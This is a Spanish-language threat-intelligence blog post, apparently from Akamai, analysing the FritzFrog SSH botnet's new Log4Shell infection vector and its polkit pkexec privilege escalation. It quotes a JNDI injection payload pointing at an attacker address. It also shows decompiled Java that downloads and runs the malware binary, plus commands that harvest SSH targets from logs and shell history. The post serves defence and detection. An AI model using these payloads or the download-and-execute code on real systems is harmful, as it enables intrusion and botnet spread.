Frog4Shell: la botnet FritzFrog añade ataques de primer día a su arsenal
Comentario editorial y adicional de Tricia Howard
Resumen ejecutivo
El grupo de inteligencia sobre seguridad (SIG) de Akamai ha descubierto información sobre una nueva variante de la botnet FritzFrog, que abusa de la vulnerabilidad Log4Shell de 2021.
A lo largo de los años, hemos presenciado más de 20 000 ataques de FritzFrog y más de 1500 víctimas.
El malware infecta servidores orientados a Internet mediante ataques de fuerza bruta a credenciales SSH débiles. Las variantes más recientes leen diversos archivos del sistema de los hosts comprometidos para detectar posibles objetivos de este ataque que tengan una alta probabilidad de ser vulnerables.
La vulnerabilidad se explota mediante un ataque de fuerza bruta que intenta afectar al máximo posible de aplicaciones Java vulnerables.
Ahora, el malware también incluye un módulo para explotar la vulnerabilidad CVE-2021-4034, una derivación de privilegios en el componente polkit de Linux. Este módulo permite que el malware se ejecute con privilegios root en los servidores vulnerables.
- Hemos incluido indicadores de compromiso (IOC) y medidas de mitigación adicionales en esta entrada de blog para ayudar a prevenir la infección por parte de FritzFrog.
Información sobre FritzFrog
En Akamai supervisamos continuamente las amenazas mediante nuestra red global de sensores, incluidas las amenazas que hemos descubierto previamente. Una de ellas es la botnet FritzFrog (que se identificó por primera vez en 2020), una sofisticada botnet peer-to-peer escrita en Golang y compatible con equipos basados tanto en AMD como en ARM. El malware se mantiene activamente y ha evolucionado a lo largo de los años añadiendo y mejorando capacidades.
FritzFrog se ha abierto camino tradicionalmente mediante ataques de fuerza bruta a SSH, y ha comprometido con éxito miles de objetivos a lo largo de los años siguiendo este método. Cada host comprometido pasa a formar parte de la red de FritzFrog: se comunica con sus homólogos infectados para compartir información, cargas útiles y ajustes.
Gracias al mantenimiento constante, el malware tiene muchas funcionalidades interesantes en su arsenal, incluidas las adiciones que trataremos en esta entrada de blog, como la incorporación de la explotación de Log4Shell. Por ejemplo, intenta no tocar el disco para limitar las oportunidades de detección, admite comunicación mediante TOR e incluso dispone de un módulo "antivirus" que acaba con el malware de la competencia.
Uso de Log4Shell como vector de infección
Los ataques de fuerza bruta a SSH solían ser el único vector de infección de FritzFrog, pero las versiones recientes del malware incluyen ahora un nuevo vector: la explotación de Log4Shell , una incorporación que nosotros hemos bautizado como "Frog4Shell".
La vulnerabilidad Log4Shell se identificó inicialmente en diciembre de 2021 y desencadenó una frenética aplicación de parches en todo el sector que duró meses. Incluso hoy en día, 2 años más tarde, hay muchas aplicaciones orientadas a Internet que siguen siendo vulnerables a este ataque.
Los activos orientados a Internet vulnerables son un gran problema, pero en realidad FritzFrog supone un riesgo para un tipo adicional de activos: los hosts internos. Cuando se descubrió por primera vez la vulnerabilidad, se priorizó la aplicación de parches a las aplicaciones orientadas a Internet debido a su importante riesgo de seguridad. En cambio, los equipos internos, que tenían menos probabilidades de sufrir ataques, a menudo se descuidaban y no se les aplicaban parches, una circunstancia de la que se aprovecha FritzFrog.
Como parte de su rutina de propagación, el malware intenta infectar todos los hosts de la red interna. Para ello, llama a la función Go estándar net__Interface_Addrs para identificar subredes accesibles y atacar las posibles direcciones de cada una de ellas. En la Figura 1, podemos ver cómo el malware intenta conectarse a todas las direcciones de la red local.
Fig. 1: FritzFrog analizando la red local para identificar objetivos
Esto significa que incluso si se han aplicado parches a las aplicaciones orientadas a Internet de "alto riesgo", cualquier activo de la red que FritzFrog consiga infectar puede hacer que activos internos a los que no se han aplicado parches sean vulnerables a la explotación.
FritzFrog identifica posibles objetivos de Log4Shell buscando servidores HTTP en los puertos 8080, 8090, 8888 y 9000. Para desencadenar la vulnerabilidad, el atacante debe obligar a la aplicación log4j vulnerable a registrar datos que contengan una carga útil (Tabla 1):
${jndi:ldap://<attacker_address>/<payload>}
Tabla 1: Ejemplo de carga útil de Log4Shell
Esta carga útil, que la biblioteca log4j vulnerable analiza incorrectamente, obliga a la aplicación Java a conectarse a un servidor LDAP especificado en "attacker_address", descargar una clase Java de ese servidor y ejecutarla (Figura 2).
Fig. 2: El flujo general de explotación de Log4Shell
FritzFrog intenta explotar esta vulnerabilidad inyectando la carga útil a través de encabezados HTTP (Figura 3). Y lo hace de una manera interesante: en lugar de intentar infectar con gran precisión un encabezado HTTP concreto, FritzFrog intenta infectarlos prácticamente todos.
Fig. 3: La explotación de Log4Shell de FritzFrog integrada dentro de diversos encabezados HTTP
FritzFrog envía la carga útil de Log4Shell en numerosos encabezados HTTP, con la esperanza de que la aplicación registre al menos uno de ellos. El objetivo de este enfoque de explotación mediante fuerza bruta es realizar un ataque Log4Shell genérico que pueda afectar a una amplia variedad de aplicaciones.
La carga útil inyectada que se muestra en la Figura 3 hace que la aplicación vuelva a conectarse a la dirección IP de FritzFrog; el malware aloja su propio servidor LDAP que se utiliza para proporcionar la clase Java maliciosa. Tras la ejecución, la clase Java se conectará al equipo atacante a través de HTTP para descargar el binario de malware que se aloja con el nombre "robots.txt" (Tabla 2).
String ff_host_http_server_address = ff_host_http_server_address.trim();
payload_url = new URL("http://" + ff_host_http_server_address + "/" +
ff_username + "/robots.txt");
payload_url_stream = payload_url.openStream();
Tabla 2: Carga útil Java de Log4Shell descompilada descargando el binario de FritzFrog
El archivo "robots.txt" se guarda con el nombre "ifconfig". Entonces, la clase Java ejecuta el binario ifconfig y elimina el archivo (Tabla 3).
FileOutputStream ff_payload_file = new FileOutputStream(paths[counter] + "ifconfig");
ff_payload_file.write(var2.toByteArray());
ff_payload_file.close();
ff_payload_file_exec = new File(paths[counter] + "ifconfig");
ff_payload_file_exec.setExecutable(true);
Process ff_proc = Runtime.getRuntime().exec(paths[counter] + "ifconfig init " + var9 + ":22 " + ff_username + " exploit_log4shell");
if (ff_proc.waitFor() == 0) {
ff_payload_file_exec.delete();
return;
}
Tabla 3: Carga útil Java de Log4Shell descompilada ejecutando el binario de FritzFrog
La Figura 4 ilustra el flujo de explotación de Log4Shell que utiliza FritzFrog.
Fig. 4: Proceso de explotación de Log4Shell de FritzFrog
Métodos de detección de objetivos SSH
Además de añadir la explotación de Log4Shell, FritzFrog también ha mejorado su capacidad para identificar objetivos para su vector de infección principal: los ataques de fuerza bruta a SSH. Además de seguir atacando direcciones IP generadas aleatoriamente, ahora FritzFrog también intentará identificar objetivos SSH concretos enumerando diversos registros del sistema en cada una de sus víctimas.
Registros de autenticación
Los archivos auth.log de Linux contienen, entre otras cosas, información sobre las conexiones al equipo. FritzFrog ataca los clientes activos de la red analizando estos registros y buscando direcciones IP. Para acceder a los datos, el malware ejecuta los siguientes comandos:
cat /var/log/auth*
zcat /var/log/auth*
Estos comandos generarán el contenido de todos los archivos de registro comprimidos y de texto no cifrado.
Hosts SSH conocidos
Cuando un host se conecta a un servidor SSH remoto, la información de conexión se guarda automáticamente en el archivo ~/.ssh/known_hosts . FritzFrog extrae las direcciones de estos hosts y las ataca.
Esto proporciona al malware una lista de servidores SSH activos y accesibles. Además, como es probable que estos servidores los gestione el mismo propietario que el servidor comprometido, puede que también compartan una contraseña débil parecida.
Archivo de historial
Todos los comandos que se ejecutan en los sistemas Linux se guardan en un registro especial conocido como el archivo de historial. FritzFrog intenta identificar anteriores conexiones SSH y SCP ejecutando el siguiente comando:
history | grep -E \"(scp|ssh)\"
Tras hacerlo, extrae las direcciones IP de estos comandos y las ataca. Como sucedía con el archivo known_hosts , este método puede proporcionar una lista de servidores SSH activos y accesibles.
Derivación de privilegios
Otro cambio que hemos observado es que se ha añadido al malware una capacidad de derivación de privilegios. En su ejecución inicial, FritzFrog comprobará los permisos de su proceso. Si el usuario que lo ejecuta no es root, se llamará a una función denominada "main_RunBlasty" (Figura 5).
Fig. 5: FritzFrog determina que el proceso no se está ejecutando como root y utiliza la función "main_RunBlasty"
La función "RunBlasty" comienza con la ejecución del comando "which", una utilidad que permite localizar la ruta completa de otros comandos del sistema (Figura 6).
Fig. 6: Ejecución del comando "which" de FritzFrog
Podemos ver que el malware intenta encontrar la ubicación del binario pkexec ( que probablemente le suene de algo si sabe de vulnerabilidades).
A continuación, el malware extrae dos archivos que están integrados dentro de su propio ejecutable (Figura 7); los archivos se almacenan como cadenas, que son archivos gzip codificados en Base64. Los archivos extraídos se llaman blasty y payload.so.
Fig. 7: Extracción de los archivos integrados en el binario del malware
Tras crear los archivos, FritzFrog ejecuta blasty , un ELF escrito en C. Si echamos un vistazo a su código, vemos que es muy sencillo: alguna interacción con variables de entorno, seguida de la ejecución de pkexec (Figura 8).
Fig. 8: Código de blasty desensamblado
Al buscar estas cadenas damos inmediatamente con este código de explotación para CVE-2021-4034. Esta vulnerabilidad en el componente de Linux polkit la dio a conocer Qualys en 2022, y podía permitir la derivación de privilegios en cualquier equipo Linux que ejecutara polkit. Dado que se instala de forma predeterminada en la mayoría de las distribuciones de Linux, muchos equipos a los que no se han aplicado parches siguen siendo vulnerables a esta CVE.
La explotación funciona aprovechándose de que pkexec es un programa SUID; es decir, se ejecuta con privilegios root incluso cuando lo ejecuta un usuario con privilegios inferiores. La vulnerabilidad permite obligar a pkexec a cargar y ejecutar una biblioteca controlada por el atacante, lo que hace posible ejecutar código como root.
Blasty se aprovecha de esta vulnerabilidad haciendo que pkexec cargue y ejecute payload.so. Como podemos ver en la Figura 9, esta biblioteca establecerá el uid y gid del proceso en 0, es decir, root, y ejecutará root_update , el binario de FritzFrog.
Fig. 9: payload.so ejecutando FritzFrog como root
Otro dato interesante es que tanto blasty como payload.so están compilados para la arquitectura AMD64, incluso en el caso de las variantes de FritzFrog que se ejecutan en ARM. Esto significa que no funcionarán en equipos que no utilicen una CPU AMD64.
Evasión de defensas
FritzFrog sigue empleando tácticas para permanecer oculto y evitar que lo detecten. En concreto, se centra particularmente en evitar dejar archivos en el disco siempre que sea posible. Hemos visto que los desarrolladores utilizan dos funciones de Linux con esta finalidad: /dev/shm y memfd_create.
/dev/shm
La primera técnica utiliza la carpeta /dev/shm (donde shm significa "shared memory", memoria compartida en inglés), que es un directorio pensado para permitir una comunicación eficaz entre diferentes procesos del sistema (Figura 10). Aunque parece una carpeta normal de un sistema de archivos, /dev/shm está asignada directamente a la RAM, y los archivos que se crean en esta carpeta nunca tocan el disco.
FritzFrog utiliza esta carpeta para realizar una ejecución sin archivos escribiendo archivos y ejecutándolos desde /dev/shm. Para supervisar esta actividad, podemos ejecutar el malware y usar la utilidad inotifywait para inspeccionar las operaciones de archivos en /dev/shm. Vemos que el malware escribe varios archivos en este directorio; por ejemplo, en la Figura 8 se ve que el malware escribe todos los archivos de explotación de pkexec en /dev/shm antes de ejecutarlos.
Fig. 10: Supervisión de los eventos de acceso a archivos de FritzFrog en el directorio /dev/shm
memfd_create
La segunda técnica utiliza la función memfd_create , que se describe de la siguiente manera en su página de manual:
memfd_create() crea un archivo anónimo y devuelve un descriptor de archivo que hace referencia a él. El archivo se comporta como un archivo normal, por lo que se puede modificar, truncar, asignar a la memoria, etc. Sin embargo, a diferencia de un archivo normal, reside en la RAM.
Por tanto, como sucedía con la técnica anterior, tenemos una forma práctica de crear un archivo sin tocar el disco. FritzFrog utiliza esta técnica al ejecutar su carga útil de minero (Figura 11): escribe la carga útil en un archivo anónimo creado mediante memfd_create y lo ejecuta.
Fig. 11: FritzFrog usando memfd_create para escribir la carga útil de minero en un archivo anónimo
Mitigaciones
Recomendamos dos estrategias de mitigación: segmentar la red y detectar las tácticas, técnicas y procedimientos habituales del malware.
La segmentación de la red puede limitar el impacto potencial de FritzFrog impidiendo el movimiento lateral. La segmentación basada en software puede ser una solución relativamente sencilla de implementar con un efecto defensivo duradero.
Hemos proporcionado un script de detección de FritzFrog para servidores SSH que busca los siguientes indicadores de FritzFrog:
a. Procesos en ejecución llamados nginx, ifconfig, php-fpm, apache2 o libexeccuyo archivo ejecutable ya no existe en el sistema de archivos (como se muestra a continuación)
b. Escucha en el puerto 1234
Conclusión
El cambio en las tácticas de explotación fue una tendencia importante entre los atacantes en 2023: los ataques de día cero y de primer día se utilizaron con frecuencia y demostraron ser de los métodos más eficaces para acceder a las organizaciones.
El hecho de que FritzFrog haya añadido capacidades de explotación a su arsenal indica un cambio similar en esta dirección. El vector de infección adicional que está abusando de la vulnerabilidad Log4Shell, así como el módulo de explotación de pkexec, son dos adiciones tratadas en esta entrada de blog que ejemplifican este cambio. Creemos que esta tendencia continuará en las próximas versiones de FritzFrog, y es probable que pronto se añadan más vulnerabilidades al malware.
El grupo de inteligencia sobre seguridad de Akamai seguirá supervisando esta amenaza y otras similares, y publicando nuestros hallazgos. Para estar al tanto de las novedades relacionadas con FritzFrog y consultar otras investigaciones sobre seguridad, puede seguirnos en X (anteriormente Twitter).
IoC
Binario de FritzFrog
AMD
f77ab04ee56f3cd4845d4a80c5817a7de4f0561d976d87563deab752363a765d
ARM
fb3371dd45585763f1436afb7d64c202864d89ee6cbb743efac9dbf1cefcc291
Carga útil de Log4Shell
52b11d3fa9206f51c601bd85cb480102fd938894b7274fac3d20915eb3af44f8
Explotación de pkexec "Blasty"
Blasty
85cb8ceda7d2a29bc7c6c96dd279c43559797a624fc15d44da53ca02379afe01
Payload.so
0b95071c657f23d4d8bfa39042ed8ad0a1c1bceb6b265c1237c12c4c0818c248
